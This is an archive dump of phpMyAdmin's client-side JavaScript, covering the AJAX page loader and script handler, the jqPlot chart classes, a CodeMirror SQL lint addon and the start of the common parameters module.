Messages.strLockToolTip).toString()); } else { $('#lock_page_icon').html(''); } }, /** * resets the lock * * @return {void} */ resetLock: function () { AJAX.lockedTargets = {}; $('#lock_page_icon').html(''); }, handleMenu: { replace: function (content) { $('#floating_menubar').html(content) // Remove duplicate wrapper // TODO: don't send it in the response .children().first().remove(); $('#topmenu').menuResizer(Functions.mainMenuResizerCallback); } }, /** * Event handler for clicks on links and form submissions * * @param {KeyboardEvent} event Event data * * @return {boolean | void} */ requestHandler: function (event) { // In some cases we don't want to handle the request here and either // leave the browser deal with it natively (e.g: file download) // or leave an existing ajax event handler present elsewhere deal with it var href = $(this).attr('href'); if (typeof event !== 'undefined' && (event.shiftKey || event.ctrlKey || event.metaKey)) { return true; } else if ($(this).attr('target')) { return true; } else if ($(this).hasClass('ajax') || $(this).hasClass('disableAjax')) { // reset the lockedTargets object, as specified AJAX operation has finished AJAX.resetLock(); return true; } else if (href && href.match(/^#/)) { return true; } else if (href && href.match(/^mailto/)) { return true; } else if ($(this).hasClass('ui-datepicker-next') || $(this).hasClass('ui-datepicker-prev') ) { return true; } if (typeof event !== 'undefined') { event.preventDefault(); event.stopImmediatePropagation(); } // triggers a confirm dialog if: // the user has performed some operations on loaded page // the user clicks on some link, (won't trigger for buttons) // the click event is not triggered by script if (typeof event !== 'undefined' && event.type === 'click' && event.isTrigger !== true && !jQuery.isEmptyObject(AJAX.lockedTargets) && confirm(Messages.strConfirmNavigation) === false ) { return false; } AJAX.resetLock(); var isLink = !! href || false; var previousLinkAborted = false; if (AJAX.active === true) { // Cancel the old request if abortable, when the user requests // something else. Otherwise silently bail out, as there is already // a request well in progress. if (AJAX.xhr) { // In case of a link request, attempt aborting AJAX.xhr.abort(); if (AJAX.xhr.status === 0 && AJAX.xhr.statusText === 'abort') { // If aborted AJAX.$msgbox = Functions.ajaxShowMessage(Messages.strAbortedRequest); AJAX.active = false; AJAX.xhr = null; previousLinkAborted = true; } else { // If can't abort return false; } } else { // In case submitting a form, don't attempt aborting return false; } } AJAX.source = $(this); $('html, body').animate({ scrollTop: 0 }, 'fast'); var url = isLink ? href : $(this).attr('action'); var argsep = CommonParams.get('arg_separator'); var params = 'ajax_request=true' + argsep + 'ajax_page_request=true'; var dataPost = AJAX.source.getPostData(); if (! isLink) { params += argsep + $(this).serialize(); } else if (dataPost) { params += argsep + dataPost; isLink = false; } if (AJAX.debug) { // eslint-disable-next-line no-console console.log('Loading: ' + url); // no need to translate } if (isLink) { AJAX.active = true; AJAX.$msgbox = Functions.ajaxShowMessage(); // Save reference for the new link request AJAX.xhr = $.get(url, params, AJAX.responseHandler); var state = { url : href }; if (previousLinkAborted) { // hack: there is already an aborted entry on stack // so just modify the aborted one history.replaceState(state, null, href); } else { history.pushState(state, null, href); } } else { /** * Manually fire the onsubmit event for the form, if any. * The event was saved in the jQuery data object by an onload * handler defined below. Workaround for bug #3583316 */ var onsubmit = $(this).data('onsubmit'); // Submit the request if there is no onsubmit handler // or if it returns a value that evaluates to true if (typeof onsubmit !== 'function' || onsubmit.apply(this, [event])) { AJAX.active = true; AJAX.$msgbox = Functions.ajaxShowMessage(); if ($(this).attr('id') === 'login_form') { $.post(url, params, AJAX.loginResponseHandler); } else { $.post(url, params, AJAX.responseHandler); } } } }, /** * Response handler to handle login request from login modal after session expiration * * To refer to self use 'AJAX', instead of 'this' as this function * is called in the jQuery context. * * @param {object} data Event data * * @return {void} */ loginResponseHandler: function (data) { if (typeof data === 'undefined' || data === null) { return; } Functions.ajaxRemoveMessage(AJAX.$msgbox); CommonParams.set('token', data.new_token); AJAX.scriptHandler.load([]); if (data.displayMessage) { $('#page_content').prepend(data.displayMessage); Functions.highlightSql($('#page_content')); } $('#pma_errors').remove(); var msg = ''; if (data.errSubmitMsg) { msg = data.errSubmitMsg; } if (data.errors) { $('
          ', { id : 'pma_errors', class : 'clearfloat d-print-none' }) .insertAfter('#selflink') .append(data.errors); // bind for php error reporting forms (bottom) $('#pma_ignore_errors_bottom').on('click', function (e) { e.preventDefault(); Functions.ignorePhpErrors(); }); $('#pma_ignore_all_errors_bottom').on('click', function (e) { e.preventDefault(); Functions.ignorePhpErrors(false); }); // In case of 'sendErrorReport'='always' // submit the hidden error reporting form. if (data.sendErrorAlways === '1' && data.stopErrorReportLoop !== '1' ) { $('#pma_report_errors_form').trigger('submit'); Functions.ajaxShowMessage(Messages.phpErrorsBeingSubmitted, false); $('html, body').animate({ scrollTop:$(document).height() }, 'slow'); } else if (data.promptPhpErrors) { // otherwise just prompt user if it is set so. msg = msg + Messages.phpErrorsFound; // scroll to bottom where all the errors are displayed. $('html, body').animate({ scrollTop:$(document).height() }, 'slow'); } } Functions.ajaxShowMessage(msg, false); // bind for php error reporting forms (popup) $('#pma_ignore_errors_popup').on('click', function () { Functions.ignorePhpErrors(); }); $('#pma_ignore_all_errors_popup').on('click', function () { Functions.ignorePhpErrors(false); }); if (typeof data.success !== 'undefined' && data.success) { // reload page if user trying to login has changed if (CommonParams.get('user') !== data.params.user) { window.location = 'index.php'; Functions.ajaxShowMessage(Messages.strLoading, false); AJAX.active = false; AJAX.xhr = null; return; } // remove the login modal if the login is successful otherwise show error. if (typeof data.logged_in !== 'undefined' && data.logged_in === 1) { if ($('#modalOverlay').length) { $('#modalOverlay').remove(); } $('fieldset.disabled_for_expiration').removeAttr('disabled').removeClass('disabled_for_expiration'); AJAX.fireTeardown('functions.js'); AJAX.fireOnload('functions.js'); } if (typeof data.new_token !== 'undefined') { $('input[name=token]').val(data.new_token); } } else if (typeof data.logged_in !== 'undefined' && data.logged_in === 0) { $('#modalOverlay').replaceWith(data.error); } else { Functions.ajaxShowMessage(data.error, false); AJAX.active = false; AJAX.xhr = null; Functions.handleRedirectAndReload(data); if (data.fieldWithError) { $(':input.error').removeClass('error'); $('#' + data.fieldWithError).addClass('error'); } } }, /** * Called after the request that was initiated by this.requestHandler() * has completed successfully or with a caught error. For completely * failed requests or requests with uncaught errors, see the .ajaxError * handler at the bottom of this file. * * To refer to self use 'AJAX', instead of 'this' as this function * is called in the jQuery context. * * @param {object} data Event data * * @return {void} */ responseHandler: function (data) { if (typeof data === 'undefined' || data === null) { return; } // Can be a string when an error occurred and only HTML was returned. if (typeof data === 'string') { Functions.ajaxRemoveMessage(AJAX.$msgbox); Functions.ajaxShowMessage($(data).text(), false, 'error'); AJAX.active = false; AJAX.xhr = null; return; } if (typeof data.success !== 'undefined' && data.success) { $('html, body').animate({ scrollTop: 0 }, 'fast'); Functions.ajaxRemoveMessage(AJAX.$msgbox); if (data.redirect) { Functions.ajaxShowMessage(data.redirect, false); AJAX.active = false; AJAX.xhr = null; return; } AJAX.scriptHandler.reset(function () { if (data.reloadNavigation) { Navigation.reload(); } if (data.title) { $('title').replaceWith(data.title); } if (data.menu) { var state = { url : data.selflink, menu : data.menu }; history.replaceState(state, null); AJAX.handleMenu.replace(data.menu); } if (data.disableNaviSettings) { Navigation.disableSettings(); } else { Navigation.ensureSettings(data.selflink); } // Remove all containers that may have // been added outside of #page_content $('body').children() .not('div.modal') .not('#pma_navigation') .not('#floating_menubar') .not('#page_nav_icons') .not('#page_content') .not('#selflink') .not('#pma_header') .not('#pma_footer') .not('#pma_demo') .not('#pma_console_container') .not('#prefs_autoload') .remove(); // Replace #page_content with new content if (data.message && data.message.length > 0) { $('#page_content').replaceWith( '
          ' + data.message + '
          ' ); Functions.highlightSql($('#page_content')); Functions.checkNumberOfFields(); } if (data.selflink) { var source = data.selflink.split('?')[0]; // Check for faulty links var $selflinkReplace = { 'index.php?route=/import': 'index.php?route=/table/sql', 'index.php?route=/table/chart': 'index.php?route=/sql', 'index.php?route=/table/gis-visualization': 'index.php?route=/sql' }; if ($selflinkReplace[source]) { var replacement = $selflinkReplace[source]; data.selflink = data.selflink.replace(source, replacement); } $('#selflink').find('> a').attr('href', data.selflink); } if (data.params) { CommonParams.setAll(data.params); } if (data.scripts) { AJAX.scriptHandler.load(data.scripts); } if (data.displayMessage) { $('#page_content').prepend(data.displayMessage); Functions.highlightSql($('#page_content')); } $('#pma_errors').remove(); var msg = ''; if (data.errSubmitMsg) { msg = data.errSubmitMsg; } if (data.errors) { $('
          ', { id : 'pma_errors', class : 'clearfloat d-print-none' }) .insertAfter('#selflink') .append(data.errors); // bind for php error reporting forms (bottom) $('#pma_ignore_errors_bottom').on('click', function (e) { e.preventDefault(); Functions.ignorePhpErrors(); }); $('#pma_ignore_all_errors_bottom').on('click', function (e) { e.preventDefault(); Functions.ignorePhpErrors(false); }); // In case of 'sendErrorReport'='always' // submit the hidden error reporting form. if (data.sendErrorAlways === '1' && data.stopErrorReportLoop !== '1' ) { $('#pma_report_errors_form').trigger('submit'); Functions.ajaxShowMessage(Messages.phpErrorsBeingSubmitted, false); $('html, body').animate({ scrollTop:$(document).height() }, 'slow'); } else if (data.promptPhpErrors) { // otherwise just prompt user if it is set so. msg = msg + Messages.phpErrorsFound; // scroll to bottom where all the errors are displayed. $('html, body').animate({ scrollTop:$(document).height() }, 'slow'); } } Functions.ajaxShowMessage(msg, false); // bind for php error reporting forms (popup) $('#pma_ignore_errors_popup').on('click', function () { Functions.ignorePhpErrors(); }); $('#pma_ignore_all_errors_popup').on('click', function () { Functions.ignorePhpErrors(false); }); if (typeof AJAX.callback === 'function') { AJAX.callback.call(); } AJAX.callback = function () {}; }); } else { Functions.ajaxShowMessage(data.error, false); Functions.ajaxRemoveMessage(AJAX.$msgbox); var $ajaxError = $('
          '); $ajaxError.attr({ 'id': 'ajaxError' }); $('#page_content').append($ajaxError); $ajaxError.html(data.error); $('html, body').animate({ scrollTop: $(document).height() }, 200); AJAX.active = false; AJAX.xhr = null; Functions.handleRedirectAndReload(data); if (data.fieldWithError) { $(':input.error').removeClass('error'); $('#' + data.fieldWithError).addClass('error'); } } }, /** * This object is in charge of downloading scripts, * keeping track of what's downloaded and firing * the onload event for them when the page is ready. */ scriptHandler: { /** * @var {string[]} scripts The list of files already downloaded */ scripts: [], /** * @var {string} scriptsVersion version of phpMyAdmin from which the * scripts have been loaded */ scriptsVersion: null, /** * @var {string[]} scriptsToBeLoaded The list of files that * need to be downloaded */ scriptsToBeLoaded: [], /** * @var {string[]} scriptsToBeFired The list of files for which * to fire the onload and unload events */ scriptsToBeFired: [], scriptsCompleted: false, /** * Records that a file has been downloaded * * @param {string} file The filename * @param {string} fire Whether this file will be registering * onload/teardown events * * @return {self} For chaining */ add: function (file, fire) { this.scripts.push(file); if (fire) { // Record whether to fire any events for the file // This is necessary to correctly tear down the initial page this.scriptsToBeFired.push(file); } return this; }, /** * Download a list of js files in one request * * @param {string[]} files An array of filenames and flags * @param {Function} callback * * @return {void} */ load: function (files, callback) { var self = this; var i; // Clear loaded scripts if they are from another version of phpMyAdmin. // Depends on common params being set before loading scripts in responseHandler if (self.scriptsVersion === null) { self.scriptsVersion = CommonParams.get('version'); } else if (self.scriptsVersion !== CommonParams.get('version')) { self.scripts = []; self.scriptsVersion = CommonParams.get('version'); } self.scriptsCompleted = false; self.scriptsToBeFired = []; // We need to first complete list of files to load // as next loop will directly fire requests to load them // and that triggers removal of them from // self.scriptsToBeLoaded for (i in files) { self.scriptsToBeLoaded.push(files[i].name); if (files[i].fire) { self.scriptsToBeFired.push(files[i].name); } } for (i in files) { var script = files[i].name; // Only for scripts that we don't already have if ($.inArray(script, self.scripts) === -1) { this.add(script); this.appendScript(script, callback); } else { self.done(script, callback); } } // Trigger callback if there is nothing else to load self.done(null, callback); }, /** * Called whenever all files are loaded * * @param {string} script * @param {Function?} callback * * @return {void} */ done: function (script, callback) { if ($.inArray(script, this.scriptsToBeFired)) { AJAX.fireOnload(script); } if ($.inArray(script, this.scriptsToBeLoaded)) { this.scriptsToBeLoaded.splice($.inArray(script, this.scriptsToBeLoaded), 1); } if (script === null) { this.scriptsCompleted = true; } /* We need to wait for last signal (with null) or last script load */ AJAX.active = (this.scriptsToBeLoaded.length > 0) || ! this.scriptsCompleted; /* Run callback on last script */ if (! AJAX.active && typeof callback === 'function') { callback(); } }, /** * Appends a script element to the head to load the scripts * * @param {string} name * @param {Function} callback * * @return {void} */ appendScript: function (name, callback) { var head = document.head || document.getElementsByTagName('head')[0]; var script = document.createElement('script'); var self = this; script.type = 'text/javascript'; var file = name.indexOf('vendor/') !== -1 ? name : 'dist/' + name; script.src = 'js/' + file + '?' + 'v=' + encodeURIComponent(CommonParams.get('version')); script.async = false; script.onload = function () { self.done(name, callback); }; head.appendChild(script); }, /** * Fires all the teardown event handlers for the current page * and rebinds all forms and links to the request handler * * @param {Function} callback The callback to call after resetting * * @return {void} */ reset: function (callback) { for (var i in this.scriptsToBeFired) { AJAX.fireTeardown(this.scriptsToBeFired[i]); } this.scriptsToBeFired = []; /** * Re-attach a generic event handler to clicks * on pages and submissions of forms */ $(document).off('click', 'a').on('click', 'a', AJAX.requestHandler); $(document).off('submit', 'form').on('submit', 'form', AJAX.requestHandler); callback(); } } }; /** * Here we register a function that will remove the onsubmit event from all * forms that will be handled by the generic page loader. We then save this * event handler in the "jQuery data", so that we can fire it up later in * AJAX.requestHandler(). * * See bug #3583316 */ AJAX.registerOnload('functions.js', function () { // Registering the onload event for functions.js // ensures that it will be fired for all pages $('form').not('.ajax').not('.disableAjax').each(function () { if ($(this).attr('onsubmit')) { $(this).data('onsubmit', this.onsubmit).attr('onsubmit', ''); } }); var $pageContent = $('#page_content'); /** * Workaround for passing submit button name,value on ajax form submit * by appending hidden element with submit button name and value. */ $pageContent.on('click', 'form input[type=submit]', function () { var buttonName = $(this).attr('name'); if (typeof buttonName === 'undefined') { return; } $(this).closest('form').append($('', { 'type' : 'hidden', 'name' : buttonName, 'value': $(this).val() })); }); /** * Attach event listener to events when user modify visible * Input,Textarea and select fields to make changes in forms */ $pageContent.on( 'keyup change', 'form.lock-page textarea, ' + 'form.lock-page input[type="text"], ' + 'form.lock-page input[type="number"], ' + 'form.lock-page select', { value:1 }, AJAX.lockPageHandler ); $pageContent.on( 'change', 'form.lock-page input[type="checkbox"], ' + 'form.lock-page input[type="radio"]', { value:2 }, AJAX.lockPageHandler ); /** * Reset lock when lock-page form reset event is fired * Note: reset does not bubble in all browser so attach to * form directly. */ $('form.lock-page').on('reset', function () { AJAX.resetLock(); }); }); /** * Page load event handler */ $(function () { var menuContent = $('
          ') .append($('#server-breadcrumb').clone()) .append($('#topmenucontainer').clone()) .html(); // set initial state reload var initState = ('state' in window.history && window.history.state !== null); var initURL = $('#selflink').find('> a').attr('href') || location.href; var state = { url : initURL, menu : menuContent }; history.replaceState(state, null); $(window).on('popstate', function (event) { var initPop = (! initState && location.href === initURL); initState = true; // check if popstate fired on first page itself if (initPop) { return; } var state = event.originalEvent.state; if (state && state.menu) { AJAX.$msgbox = Functions.ajaxShowMessage(); var params = 'ajax_request=true' + CommonParams.get('arg_separator') + 'ajax_page_request=true'; var url = state.url || location.href; $.get(url, params, AJAX.responseHandler); // TODO: Check if sometimes menu is not retrieved from server, // Not sure but it seems menu was missing only for printview which // been removed lately, so if it's right some dead menu checks/fallbacks // may need to be removed from this file and Header.php // AJAX.handleMenu.replace(event.originalEvent.state.menu); } }); }); /** * Attach a generic event handler to clicks * on pages and submissions of forms */ $(document).on('click', 'a', AJAX.requestHandler); $(document).on('submit', 'form', AJAX.requestHandler); /** * Gracefully handle fatal server errors * (e.g: 500 - Internal server error) */ $(document).on('ajaxError', function (event, request) { if (AJAX.debug) { // eslint-disable-next-line no-console console.log('AJAX error: status=' + request.status + ', text=' + request.statusText); } // Don't handle aborted requests if (request.status !== 0 || request.statusText !== 'abort') { var details = ''; var state = request.state(); if (request.status !== 0) { details += '
          ' + Functions.escapeHtml(Functions.sprintf(Messages.strErrorCode, request.status)) + '
          '; } details += '
          ' + Functions.escapeHtml(Functions.sprintf(Messages.strErrorText, request.statusText + ' (' + state + ')')) + '
          '; if (state === 'rejected' || state === 'timeout') { details += '
          ' + Functions.escapeHtml(Messages.strErrorConnection) + '
          '; } Functions.ajaxShowMessage( '', false ); AJAX.active = false; AJAX.xhr = null; } }); chart.js000066600000044450151724624350006227 0ustar00/** * Chart type enumerations */ var ChartType = { LINE : 'line', SPLINE : 'spline', AREA : 'area', BAR : 'bar', COLUMN : 'column', PIE : 'pie', TIMELINE: 'timeline', SCATTER: 'scatter' }; /** * Column type enumeration */ var ColumnType = { STRING : 'string', NUMBER : 'number', BOOLEAN : 'boolean', DATE : 'date' }; /** * Abstract chart factory which defines the contract for chart factories */ var ChartFactory = function () { }; ChartFactory.prototype = { createChart : function () { throw new Error('createChart must be implemented by a subclass'); } }; /** * Abstract chart which defines the contract for charts * * @param elementId * id of the div element the chart is drawn in */ var Chart = function (elementId) { this.elementId = elementId; }; Chart.prototype = { draw : function () { throw new Error('draw must be implemented by a subclass'); }, redraw : function () { throw new Error('redraw must be implemented by a subclass'); }, destroy : function () { throw new Error('destroy must be implemented by a subclass'); }, toImageString : function () { throw new Error('toImageString must be implemented by a subclass'); } }; /** * Abstract representation of charts that operates on DataTable where,
          *
            *
          • First column provides index to the data.
          • *
          • Each subsequent columns are of type * ColumnType.NUMBER and represents a data series.
          • *
          * Line chart, area chart, bar chart, column chart are typical examples. * * @param elementId * id of the div element the chart is drawn in */ var BaseChart = function (elementId) { Chart.call(this, elementId); }; BaseChart.prototype = new Chart(); BaseChart.prototype.constructor = BaseChart; BaseChart.prototype.validateColumns = function (dataTable) { var columns = dataTable.getColumns(); if (columns.length < 2) { throw new Error('Minimum of two columns are required for this chart'); } for (var i = 1; i < columns.length; i++) { if (columns[i].type !== ColumnType.NUMBER) { throw new Error('Column ' + (i + 1) + ' should be of type \'Number\''); } } return true; }; /** * Abstract pie chart * * @param elementId * id of the div element the chart is drawn in */ var PieChart = function (elementId) { BaseChart.call(this, elementId); }; PieChart.prototype = new BaseChart(); PieChart.prototype.constructor = PieChart; PieChart.prototype.validateColumns = function (dataTable) { var columns = dataTable.getColumns(); if (columns.length > 2) { throw new Error('Pie charts can draw only one series'); } return BaseChart.prototype.validateColumns.call(this, dataTable); }; /** * Abstract timeline chart * * @param elementId * id of the div element the chart is drawn in */ var TimelineChart = function (elementId) { BaseChart.call(this, elementId); }; TimelineChart.prototype = new BaseChart(); TimelineChart.prototype.constructor = TimelineChart; TimelineChart.prototype.validateColumns = function (dataTable) { var result = BaseChart.prototype.validateColumns.call(this, dataTable); if (result) { var columns = dataTable.getColumns(); if (columns[0].type !== ColumnType.DATE) { throw new Error('First column of timeline chart need to be a date column'); } } return result; }; /** * Abstract scatter chart * * @param elementId * id of the div element the chart is drawn in */ var ScatterChart = function (elementId) { BaseChart.call(this, elementId); }; ScatterChart.prototype = new BaseChart(); ScatterChart.prototype.constructor = ScatterChart; ScatterChart.prototype.validateColumns = function (dataTable) { var result = BaseChart.prototype.validateColumns.call(this, dataTable); if (result) { var columns = dataTable.getColumns(); if (columns[0].type !== ColumnType.NUMBER) { throw new Error('First column of scatter chart need to be a numeric column'); } } return result; }; /** * The data table contains column information and data for the chart. */ // eslint-disable-next-line no-unused-vars var DataTable = function () { var columns = []; var data = null; this.addColumn = function (type, name) { columns.push({ 'type' : type, 'name' : name }); }; this.getColumns = function () { return columns; }; this.setData = function (rows) { data = rows; fillMissingValues(); }; this.getData = function () { return data; }; var fillMissingValues = function () { if (columns.length === 0) { throw new Error('Set columns first'); } var row; for (var i = 0; i < data.length; i++) { row = data[i]; if (row.length > columns.length) { row.splice(columns.length - 1, row.length - columns.length); } else if (row.length < columns.length) { for (var j = row.length; j < columns.length; j++) { row.push(null); } } } }; }; /** ***************************************************************************** * JQPlot specific code ******************************************************************************/ /** * Abstract JQplot chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotChart = function (elementId) { Chart.call(this, elementId); this.plot = null; this.validator = null; }; JQPlotChart.prototype = new Chart(); JQPlotChart.prototype.constructor = JQPlotChart; JQPlotChart.prototype.draw = function (data, options) { if (this.validator.validateColumns(data)) { this.plot = $.jqplot(this.elementId, this.prepareData(data), this .populateOptions(data, options)); } }; JQPlotChart.prototype.destroy = function () { if (this.plot !== null) { this.plot.destroy(); } }; JQPlotChart.prototype.redraw = function (options) { if (this.plot !== null) { this.plot.replot(options); } }; JQPlotChart.prototype.toImageString = function () { if (this.plot !== null) { return $('#' + this.elementId).jqplotToImageStr({}); } }; JQPlotChart.prototype.populateOptions = function () { throw new Error('populateOptions must be implemented by a subclass'); }; JQPlotChart.prototype.prepareData = function () { throw new Error('prepareData must be implemented by a subclass'); }; /** * JQPlot line chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotLineChart = function (elementId) { JQPlotChart.call(this, elementId); this.validator = BaseChart.prototype; }; JQPlotLineChart.prototype = new JQPlotChart(); JQPlotLineChart.prototype.constructor = JQPlotLineChart; JQPlotLineChart.prototype.populateOptions = function (dataTable, options) { var columns = dataTable.getColumns(); var optional = { axes : { xaxis : { label : columns[0].name, renderer : $.jqplot.CategoryAxisRenderer, ticks : [] }, yaxis : { label : (columns.length === 2 ? columns[1].name : 'Values'), labelRenderer : $.jqplot.CanvasAxisLabelRenderer } }, highlighter: { show: true, tooltipAxes: 'y', formatString:'%d' }, series : [] }; $.extend(true, optional, options); if (optional.series.length === 0) { for (var i = 1; i < columns.length; i++) { optional.series.push({ label : columns[i].name.toString() }); } } if (optional.axes.xaxis.ticks.length === 0) { var data = dataTable.getData(); for (var j = 0; j < data.length; j++) { optional.axes.xaxis.ticks.push(data[j][0].toString()); } } return optional; }; JQPlotLineChart.prototype.prepareData = function (dataTable) { var data = dataTable.getData(); var row; var retData = []; var retRow; for (var i = 0; i < data.length; i++) { row = data[i]; for (var j = 1; j < row.length; j++) { retRow = retData[j - 1]; if (retRow === undefined) { retRow = []; retData[j - 1] = retRow; } retRow.push(row[j]); } } return retData; }; /** * JQPlot spline chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotSplineChart = function (elementId) { JQPlotLineChart.call(this, elementId); }; JQPlotSplineChart.prototype = new JQPlotLineChart(); JQPlotSplineChart.prototype.constructor = JQPlotSplineChart; JQPlotSplineChart.prototype.populateOptions = function (dataTable, options) { var optional = {}; var opt = JQPlotLineChart.prototype.populateOptions.call(this, dataTable, options); var compulsory = { seriesDefaults : { rendererOptions : { smooth : true } } }; $.extend(true, optional, opt, compulsory); return optional; }; /** * JQPlot scatter chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotScatterChart = function (elementId) { JQPlotChart.call(this, elementId); this.validator = ScatterChart.prototype; }; JQPlotScatterChart.prototype = new JQPlotChart(); JQPlotScatterChart.prototype.constructor = JQPlotScatterChart; JQPlotScatterChart.prototype.populateOptions = function (dataTable, options) { var columns = dataTable.getColumns(); var optional = { axes : { xaxis : { label : columns[0].name }, yaxis : { label : (columns.length === 2 ? columns[1].name : 'Values'), labelRenderer : $.jqplot.CanvasAxisLabelRenderer } }, highlighter: { show: true, tooltipAxes: 'xy', formatString:'%d, %d' }, series : [] }; for (var i = 1; i < columns.length; i++) { optional.series.push({ label : columns[i].name.toString() }); } var compulsory = { seriesDefaults : { showLine: false, markerOptions: { size: 7, style: 'x' } } }; $.extend(true, optional, options, compulsory); return optional; }; JQPlotScatterChart.prototype.prepareData = function (dataTable) { var data = dataTable.getData(); var row; var retData = []; var retRow; for (var i = 0; i < data.length; i++) { row = data[i]; if (row[0]) { for (var j = 1; j < row.length; j++) { retRow = retData[j - 1]; if (retRow === undefined) { retRow = []; retData[j - 1] = retRow; } retRow.push([row[0], row[j]]); } } } return retData; }; /** * JQPlot timeline chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotTimelineChart = function (elementId) { JQPlotLineChart.call(this, elementId); this.validator = TimelineChart.prototype; }; JQPlotTimelineChart.prototype = new JQPlotLineChart(); JQPlotTimelineChart.prototype.constructor = JQPlotTimelineChart; JQPlotTimelineChart.prototype.populateOptions = function (dataTable, options) { var optional = { axes : { xaxis : { tickOptions : { formatString: '%b %#d, %y' } } } }; var opt = JQPlotLineChart.prototype.populateOptions.call(this, dataTable, options); var compulsory = { axes : { xaxis : { renderer : $.jqplot.DateAxisRenderer } } }; $.extend(true, optional, opt, compulsory); return optional; }; JQPlotTimelineChart.prototype.prepareData = function (dataTable) { var data = dataTable.getData(); var row; var d; var retData = []; var retRow; for (var i = 0; i < data.length; i++) { row = data[i]; d = row[0]; for (var j = 1; j < row.length; j++) { retRow = retData[j - 1]; if (retRow === undefined) { retRow = []; retData[j - 1] = retRow; } // See https://github.com/phpmyadmin/phpmyadmin/issues/14395 for the block if (d !== null && typeof d === 'object') { retRow.push([d.getTime(), row[j]]); } else if (typeof d === 'string') { d = new Date(d); retRow.push([d.getTime(), row[j]]); } } } return retData; }; /** * JQPlot area chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotAreaChart = function (elementId) { JQPlotLineChart.call(this, elementId); }; JQPlotAreaChart.prototype = new JQPlotLineChart(); JQPlotAreaChart.prototype.constructor = JQPlotAreaChart; JQPlotAreaChart.prototype.populateOptions = function (dataTable, options) { var optional = { seriesDefaults : { fillToZero : true } }; var opt = JQPlotLineChart.prototype.populateOptions.call(this, dataTable, options); var compulsory = { seriesDefaults : { fill : true } }; $.extend(true, optional, opt, compulsory); return optional; }; /** * JQPlot column chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotColumnChart = function (elementId) { JQPlotLineChart.call(this, elementId); }; JQPlotColumnChart.prototype = new JQPlotLineChart(); JQPlotColumnChart.prototype.constructor = JQPlotColumnChart; JQPlotColumnChart.prototype.populateOptions = function (dataTable, options) { var optional = { seriesDefaults : { fillToZero : true } }; var opt = JQPlotLineChart.prototype.populateOptions.call(this, dataTable, options); var compulsory = { seriesDefaults : { renderer : $.jqplot.BarRenderer } }; $.extend(true, optional, opt, compulsory); return optional; }; /** * JQPlot bar chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotBarChart = function (elementId) { JQPlotLineChart.call(this, elementId); }; JQPlotBarChart.prototype = new JQPlotLineChart(); JQPlotBarChart.prototype.constructor = JQPlotBarChart; JQPlotBarChart.prototype.populateOptions = function (dataTable, options) { var columns = dataTable.getColumns(); var optional = { axes : { yaxis : { label : columns[0].name, labelRenderer : $.jqplot.CanvasAxisLabelRenderer, renderer : $.jqplot.CategoryAxisRenderer, ticks : [] }, xaxis : { label : (columns.length === 2 ? columns[1].name : 'Values'), labelRenderer : $.jqplot.CanvasAxisLabelRenderer } }, highlighter: { show: true, tooltipAxes: 'x', formatString:'%d' }, series : [], seriesDefaults : { fillToZero : true } }; var compulsory = { seriesDefaults : { renderer : $.jqplot.BarRenderer, rendererOptions : { barDirection : 'horizontal' } } }; $.extend(true, optional, options, compulsory); if (optional.axes.yaxis.ticks.length === 0) { var data = dataTable.getData(); for (var i = 0; i < data.length; i++) { optional.axes.yaxis.ticks.push(data[i][0].toString()); } } if (optional.series.length === 0) { for (var j = 1; j < columns.length; j++) { optional.series.push({ label : columns[j].name.toString() }); } } return optional; }; /** * JQPlot pie chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotPieChart = function (elementId) { JQPlotChart.call(this, elementId); this.validator = PieChart.prototype; }; JQPlotPieChart.prototype = new JQPlotChart(); JQPlotPieChart.prototype.constructor = JQPlotPieChart; JQPlotPieChart.prototype.populateOptions = function (dataTable, options) { var optional = { highlighter: { show: true, tooltipAxes: 'xy', formatString:'%s, %d', useAxesFormatters: false }, legend: { renderer: $.jqplot.EnhancedPieLegendRenderer, }, }; var compulsory = { seriesDefaults : { shadow: false, renderer : $.jqplot.PieRenderer, rendererOptions: { sliceMargin: 1, showDataLabels: true } } }; $.extend(true, optional, options, compulsory); return optional; }; JQPlotPieChart.prototype.prepareData = function (dataTable) { var data = dataTable.getData(); var row; var retData = []; for (var i = 0; i < data.length; i++) { row = data[i]; retData.push([row[0], row[1]]); } return [retData]; }; /** * Chart factory that returns JQPlotCharts */ var JQPlotChartFactory = function () { }; JQPlotChartFactory.prototype = new ChartFactory(); JQPlotChartFactory.prototype.createChart = function (type, elementId) { var chart = null; switch (type) { case ChartType.LINE: chart = new JQPlotLineChart(elementId); break; case ChartType.SPLINE: chart = new JQPlotSplineChart(elementId); break; case ChartType.TIMELINE: chart = new JQPlotTimelineChart(elementId); break; case ChartType.AREA: chart = new JQPlotAreaChart(elementId); break; case ChartType.BAR: chart = new JQPlotBarChart(elementId); break; case ChartType.COLUMN: chart = new JQPlotColumnChart(elementId); break; case ChartType.PIE: chart = new JQPlotPieChart(elementId); break; case ChartType.SCATTER: chart = new JQPlotScatterChart(elementId); break; } return chart; }; codemirror/addon/lint/sql-lint.js000066600000002221151724624350013057 0ustar00CodeMirror.sqlLint = function (text, updateLinting, options, cm) { // Skipping check if text box is empty. if (text.trim() === '') { updateLinting(cm, []); return; } function handleResponse (response) { var found = []; for (var idx in response) { found.push({ // eslint-disable-next-line new-cap from: CodeMirror.Pos( response[idx].fromLine, response[idx].fromColumn ), // eslint-disable-next-line new-cap to: CodeMirror.Pos( response[idx].toLine, response[idx].toColumn ), messageHTML: response[idx].message, severity : response[idx].severity }); } updateLinting(cm, found); } $.ajax({ method: 'POST', url: 'index.php?route=/lint', dataType: 'json', data: { 'sql_query': text, 'server': CommonParams.get('server'), 'options': options.lintOptions, 'no_history': true, }, success: handleResponse }); }; common.js000066600000012216151724624350006411 0ustar00 $(function () { Functions.checkNumberOfFields(); }); /** * Holds common parameters such as server, db, table, etc * * The content for this is normally loaded from Header.php or * Response.php and executed by ajax.js * * @test-module CommonParams */ var CommonParams = (function () { /** * @var {Object} params An associative array of key value pairs * @access private */ var params = {}; // The returned object is the public part of the module return { /** * Saves all the key value pair that * are provided in the input array * * @param obj hash The input array * * @return {void} */ setAll: function (obj) { var updateNavigation = false; for (var i in obj) { if (params[i] !== undefined && 